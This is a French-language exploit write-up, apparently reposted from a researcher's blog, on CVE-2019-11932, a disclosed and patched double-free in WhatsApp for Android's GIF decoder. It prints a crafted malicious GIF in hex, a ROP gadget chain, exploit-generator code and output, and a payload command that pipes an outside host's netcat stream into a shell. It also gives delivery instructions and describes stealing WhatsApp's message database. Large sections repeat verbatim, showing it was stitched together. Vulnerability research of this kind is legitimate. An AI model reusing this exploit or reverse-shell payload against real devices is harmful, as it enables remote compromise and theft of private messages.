infiniteloopers/cve-2019-11932Analyse technique et code d'exploitation pour CVE-2019-11932, une vulnérabilité de double libération dans WhatsApp pour Android qui mène à une exécution de code à distance via un fichier GIF malveillant.
Je vais partager une vulnérabilité de double libération (double-free) que j'ai découverte dans WhatsApp pour Android, et comment je l'ai transformée en RCE. J'en ai informé Facebook. Facebook a reconnu la faille et l'a corrigée officiellement dans WhatsApp version 2.19.244. Facebook a aidé à réserver le CVE-2019-11932 pour ce problème.
Utilisateurs de WhatsApp, veuillez mettre à jour vers la dernière version de WhatsApp (2.19.244 ou ultérieure) pour rester protégés de ce bug.
Les étapes sont les suivantes :
L'un d'eux pourrait être en tant que Document via WhatsApp (c'est-à-dire en appuyant sur le bouton Trombone et en choisissant Document pour envoyer le GIF corrompu) Si l'attaquant fait partie de la liste de contacts de l'utilisateur (c'est-à-dire un ami), le GIF corrompu est téléchargé automatiquement sans aucune interaction de l'utilisateur.
Notez que l'utilisateur n'a rien à envoyer car le simple fait d'ouvrir la Galerie WhatsApp déclenche le bug. Aucun toucher supplémentaire après avoir appuyé sur Galerie WhatsApp n'est nécessaire.
Lorsqu'un utilisateur WhatsApp ouvre la vue Galerie dans WhatsApp pour envoyer un fichier multimédia, WhatsApp l'analyse avec une bibliothèque native appelée libpl_droidsonroids_gif.so pour générer l'aperçu du fichier GIF. libpl_droidsonroids_gif.so est une bibliothèque open source dont les codes sources sont disponibles sur https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Un fichier GIF contient plusieurs images encodées. Pour stocker les images décodées, un tampon nommé rasterBits est utilisé. Si toutes les images ont la même taille, rasterBits est réutilisé pour stocker les images décodées sans réallocation. Cependant, rasterBits serait réalloué si l'une des trois conditions ci-dessous est remplie :
La réallocation est une combinaison de free et malloc. Si la taille de la réallocation est 0, c'est simplement un free. Disons que nous avons un fichier GIF qui contient 3 images avec des tailles de 100, 0 et 0.
Cela résulte en une vulnérabilité de double libération. L'emplacement de déclenchement se trouve dans decoding.c :
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
Comment un bug de double libération dans WhatsApp devient une RCE Lecture de 14 minutes SUR CETTE PAGE DÉMO VULNÉRABILITÉ DE DOUBLE LIBÉRATION DANS DDGIFSLURP DANS DECODING.C DANS LIBPL_DROIDSONROIDS_GIF CONTRÔLE DU REGISTRE PC GÉRER ASLR ET W^X TOUT METTRE ENSEMBLE VERSIONS AFFECTÉES VECTEURS D'ATTAQUE Dans cet article de blog, je vais partager une vulnérabilité de double libération que j'ai découverte dans WhatsApp pour Android, et comment je l'ai transformée en RCE. J'en ai informé Facebook. Facebook a reconnu la faille et l'a corrigée officiellement dans WhatsApp version 2.19.244. Facebook a aidé à réserver le CVE-2019-11932 pour ce problème.
Utilisateurs de WhatsApp, veuillez mettre à jour vers la dernière version de WhatsApp (2.19.244 ou ultérieure) pour rester protégés de ce bug.
Démo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Lien Google Drive pour télécharger si le lien ci-dessus n'est pas accessible https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
Les étapes sont les suivantes :
0:16 L'attaquant envoie un fichier GIF à l'utilisateur via n'importe quel canal L'un d'eux pourrait être en tant que Document via WhatsApp (c'est-à-dire en appuyant sur le bouton Trombone et en choisissant Document pour envoyer le GIF corrompu) Si l'attaquant fait partie de la liste de contacts de l'utilisateur (c'est-à-dire un ami), le GIF corrompu est téléchargé automatiquement sans aucune interaction de l'utilisateur. 0:24 L'utilisateur veut envoyer un fichier multimédia à l'un de ses amis WhatsApp. Il appuie donc sur le bouton Trombone et ouvre la Galerie WhatsApp pour choisir un fichier multimédia à envoyer à son ami. Notez que l'utilisateur n'a rien à envoyer car le simple fait d'ouvrir la Galerie WhatsApp déclenche le bug. Aucun toucher supplémentaire après avoir appuyé sur Galerie WhatsApp n'est nécessaire. 0:30 Comme WhatsApp affiche des aperçus de chaque média (y compris le fichier GIF reçu), cela déclenche le bug de double libération et notre exploit RCE. Vulnérabilité de double libération dans DDGifSlurp dans decoding.c dans libpl_droidsonroids_gif Lorsqu'un utilisateur WhatsApp ouvre la vue Galerie dans WhatsApp pour envoyer un fichier multimédia, WhatsApp l'analyse avec une bibliothèque native appelée libpl_droidsonroids_gif.so pour générer l'aperçu du fichier GIF. libpl_droidsonroids_gif.so est une bibliothèque open source dont les codes sources sont disponibles sur https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Un fichier GIF contient plusieurs images encodées. Pour stocker les images décodées, un tampon nommé rasterBits est utilisé. Si toutes les images ont la même taille, rasterBits est réutilisé pour stocker les images décodées sans réallocation. Cependant, rasterBits serait réalloué si l'une des trois conditions ci-dessous est remplie :
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 La réallocation est une combinaison de free et malloc. Si la taille de la réallocation est 0, c'est simplement un free. Disons que nous avons un fichier GIF qui contient 3 images avec des tailles de 100, 0 et 0.
Après la première réallocation, nous avons un tampon info->rasterBits de taille 100. Dans la deuxième réallocation de 0, le tampon info->rasterBits est libéré. Dans la troisième réallocation de 0, info->rasterBits est libéré à nouveau. Cela résulte en une vulnérabilité de double libération. L'emplacement de déclenchement se trouve dans decoding.c :
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } Sous Android, une double libération d'une mémoire de taille N conduit à deux allocations mémoire ultérieures de taille N qui renvoient la même adresse.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
Comment un bug de double libération dans WhatsApp devient une RCE Lecture de 14 minutes SUR CETTE PAGE DÉMO VULNÉRABILITÉ DE DOUBLE LIBÉRATION DANS DDGIFSLURP DANS DECODING.C DANS LIBPL_DROIDSONROIDS_GIF CONTRÔLE DU REGISTRE PC GÉRER ASLR ET W^X TOUT METTRE ENSEMBLE VERSIONS AFFECTÉES VECTEURS D'ATTAQUE Dans cet article de blog, je vais partager une vulnérabilité de double libération que j'ai découverte dans WhatsApp pour Android, et comment je l'ai transformée en RCE. J'en ai informé Facebook. Facebook a reconnu la faille et l'a corrigée officiellement dans WhatsApp version 2.19.244. Facebook a aidé à réserver le CVE-2019-11932 pour ce problème.
Utilisateurs de WhatsApp, veuillez mettre à jour vers la dernière version de WhatsApp (2.19.244 ou ultérieure) pour rester protégés de ce bug.
Démo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Lien Google Drive pour télécharger si le lien ci-dessus n'est pas accessible https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
Les étapes sont les suivantes :
0:16 L'attaquant envoie un fichier GIF à l'utilisateur via n'importe quel canal L'un d'eux pourrait être en tant que Document via WhatsApp (c'est-à-dire en appuyant sur le bouton Trombone et en choisissant Document pour envoyer le GIF corrompu) Si l'attaquant fait partie de la liste de contacts de l'utilisateur (c'est-à-dire un ami), le GIF corrompu est téléchargé automatiquement sans aucune interaction de l'utilisateur. 0:24 L'utilisateur veut envoyer un fichier multimédia à l'un de ses amis WhatsApp. Il appuie donc sur le bouton Trombone et ouvre la Galerie WhatsApp pour choisir un fichier multimédia à envoyer à son ami. Notez que l'utilisateur n'a rien à envoyer car le simple fait d'ouvrir la Galerie WhatsApp déclenche le bug. Aucun toucher supplémentaire après avoir appuyé sur Galerie WhatsApp n'est nécessaire. 0:30 Comme WhatsApp affiche des aperçus de chaque média (y compris le fichier GIF reçu), cela déclenche le bug de double libération et notre exploit RCE. Vulnérabilité de double libération dans DDGifSlurp dans decoding.c dans libpl_droidsonroids_gif Lorsqu'un utilisateur WhatsApp ouvre la vue Galerie dans WhatsApp pour envoyer un fichier multimédia, WhatsApp l'analyse avec une bibliothèque native appelée libpl_droidsonroids_gif.so pour générer l'aperçu du fichier GIF. libpl_droidsonroids_gif.so est une bibliothèque open source dont les codes sources sont disponibles sur https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Un fichier GIF contient plusieurs images encodées. Pour stocker les images décodées, un tampon nommé rasterBits est utilisé. Si toutes les images ont la même taille, rasterBits est réutilisé pour stocker les images décodées sans réallocation. Cependant, rasterBits serait réalloué si l'une des trois conditions ci-dessous est remplie :
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 La réallocation est une combinaison de free et malloc. Si la taille de la réallocation est 0, c'est simplement un free. Disons que nous avons un fichier GIF qui contient 3 images avec des tailles de 100, 0 et 0.
Après la première réallocation, nous avons un tampon info->rasterBits de taille 100. Dans la deuxième réallocation de 0, le tampon info->rasterBits est libéré. Dans la troisième réallocation de 0, info->rasterBits est libéré à nouveau. Cela résulte en une vulnérabilité de double libération. L'emplacement de déclenchement se trouve dans decoding.c :
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } Sous Android, une double libération d'une mémoire de taille N conduit à deux allocations mémoire ultérieures de taille N qui renvoient la même adresse.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
Dans l'extrait ci-dessus, la variable $foo a été libérée deux fois. En conséquence, les deux allocations suivantes ($20 et $21) renvoient la même adresse. Regardons maintenant la structure GifInfo dans gif.h : struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
Ensuite, nous créons un fichier GIF avec trois images de tailles ci-dessous : sizeof(GifInfo) 0 0
Lorsque la Galerie WhatsApp est ouverte, ledit fichier GIF déclenche le bug de double libération sur le tampon rasterBits de taille sizeof(GifInfo). Fait intéressant, dans la Galerie WhatsApp, un fichier GIF est analysé deux fois. Lorsque ledit fichier GIF est analysé à nouveau, un autre objet GifInfo est créé. En raison du comportement de double libération sous Android, l'objet info GifInfo et info->rasterBits pointeront vers la même adresse. DDGifSlurp() décodera ensuite la première image dans le tampon info->rasterBits, écrasant ainsi info et sa fonction rewindFunction(), qui est appelée juste à la fin de la fonction DDGifSlurp().
Le fichier GIF que nous devons créer est le suivant : 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
Il contient quatre images : Image 1 : 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF Image 2 : 2C 00 00 00 00 1C 0F 00 00 00 00 Image 3 : 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Image 4 : 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 Voici la séquence de ce qui se passe lorsque la Galerie WhatsApp est ouverte :
Première analyse : Init : GifInfo info = malloc(168); Image 1 : info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Image 2 : info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Image 3 : info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Image 4 : peu importe, elle est là pour rendre ce fichier GIF valide Deuxième analyse : Init : GifInfo info = malloc(168); Image 1 : info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Images 2, 3, 4 : peu importe Fin : info->rewindFunction(info); À cause du bug de double libération survenu lors de la première analyse, info et info->rasterBits pointent maintenant vers le même emplacement. Avec la première image créée comme dit, nous pouvons contrôler rewindFunction et PC lorsque info->rewindFunction(info); est appelé. Notez que toutes les images sont encodées en LZW. Nous devons utiliser un encodeur LZW pour encoder les images. Le GIF ci-dessus déclenche un crash comme ci-dessous :
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
Après avoir contrôlé le PC, nous voulons réaliser une exécution de code à distance. Sous Android, nous ne pouvons pas exécuter du code sur des régions non exécutables en raison de W^X (c'est-à-dire la pile et le tas). La manière la plus simple de gérer W^X dans notre cas est d'exécuter la commande suivante :
system("toybox nc 192.168.2.72 4444 | sh"); Pour cela, nous avons besoin que PC pointe vers la fonction system() dans libc.so et que X0 pointe vers "toybox nc 192.168.2.72 4444 | sh". Cela ne peut pas être fait directement. Nous devons d'abord laisser PC sauter vers un gadget intermédiaire, qui définit X0 pour pointer vers "toybox nc 192.168.2.72 4444 | sh" et sauter vers system(). À partir du code désassemblé autour de info->rewindFunction(info);, nous pouvons voir que X0 et X19 pointent tous deux vers info->rasterBits (ou info, car ils pointent tous deux vers le même emplacement), tandis que X8 est en fait info->rewindFunction.
Désassemblage autour de info->rewindFunctionIl y a un gadget dans libhwui.so qui répond parfaitement à nos besoins :
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 Supposons que l'adresse du gadget ci-dessus soit AAAAAAAA et que l'adresse de la fonction system() soit BBBBBBBB. Le tampon rasterBits (trame 1) avant le codage LZW ressemble à ceci :
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. Dans un système Android normal, comme tous les processus sont issus de Zygotes, même avec ASLR, nos adresses AAAAAAAA et BBBBBBBB ne changent pas si WhatsApp est tué et redémarré. Cependant, elles ne persistent pas après un redémarrage du système. Pour avoir des adresses AAAAAAAA et BBBBBBBB fiables, nous avons besoin d'une vulnérabilité de divulgation d'informations qui nous donne l'adresse de base de libc.so et libhwui.so. Cette vulnérabilité dépasse le cadre de cet article de blog.
Il suffit de compiler le code de ce dépôt. Notez que l'adresse de system() et du gadget doivent être remplacées par l'adresse réelle trouvée via une vulnérabilité de divulgation d'informations (qui n'est pas couverte dans cet article de blog). /* Gadget g1 : ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- remplacez ceci memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- remplacez ceci
memcpy(buffer + 24, &system_loc, 8);
Exécutez le code pour générer le fichier GIF corrompu :
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
Copiez ensuite le contenu dans un fichier GIF et envoyez-le en tant que Document via WhatsApp à un autre utilisateur WhatsApp. Notez qu'il ne doit pas être envoyé en tant que fichier Média, sinon WhatsApp essaie de le convertir en MP4 avant l'envoi. Lorsque l'utilisateur reçoit le fichier GIF malveillant, rien ne se passe jusqu'à ce que l'utilisateur ouvre la Galerie WhatsApp pour envoyer un fichier média à son ami(e).
L'exploit fonctionne correctement jusqu'à WhatsApp version 2.19.230. La vulnérabilité a été officiellement corrigée dans WhatsApp version 2.19.244.
L'exploit fonctionne correctement sur Android 8.1 et 9.0, mais ne fonctionne pas sur Android 8.0 et versions antérieures. Dans les anciennes versions d'Android, le double-free pouvait encore être déclenché. Cependant, à cause des appels malloc effectués par le système après le double-free, l'application plante avant d'atteindre le point où nous pourrions contrôler le registre PC.
Notez que Facebook a informé le développeur du dépôt android-gif-drawable de ce problème. Le correctif de Facebook a également été fusionné dans le dépôt d'origine dans un commit du 10 août. La version 1.2.18 de android-gif-drawable est protégée contre le bogue de double-free.
Avec l'exploitation ci-dessus, nous pouvons avoir deux vecteurs d'attaque :
Élévation de privilèges locale (d'une application utilisateur vers WhatsApp) : Une application malveillante est installée sur l'appareil Android. L'application collecte les adresses des bibliothèques de Zygote et génère un fichier GIF malveillant qui entraîne l'exécution de code dans le contexte de WhatsApp. Cela permet à l'application malveillante de voler des fichiers dans le bac à sable de WhatsApp, y compris la base de données des messages. Exécution de code à distance : En combinaison avec une application présentant une vulnérabilité de divulgation d'informations mémoire à distance (par exemple, un navigateur), l'attaquant peut collecter les adresses des bibliothèques de Zygote et créer un fichier GIF malveillant à envoyer à l'utilisateur via WhatsApp (doit être envoyé en pièce jointe, pas en tant qu'image via le sélecteur de galerie). Dès que l'utilisateur ouvre la vue Galerie dans WhatsApp (qui n'envoie jamais de fichiers média à ses amis, n'est-ce pas ?), le fichier GIF déclenchera un shell à distance dans le contexte de WhatsApp.
#Source Afnan Sadhayo Infiniteloopers.com
Je ne possède pas cela, si vous avez des problèmes, veuillez contacter le propriétaire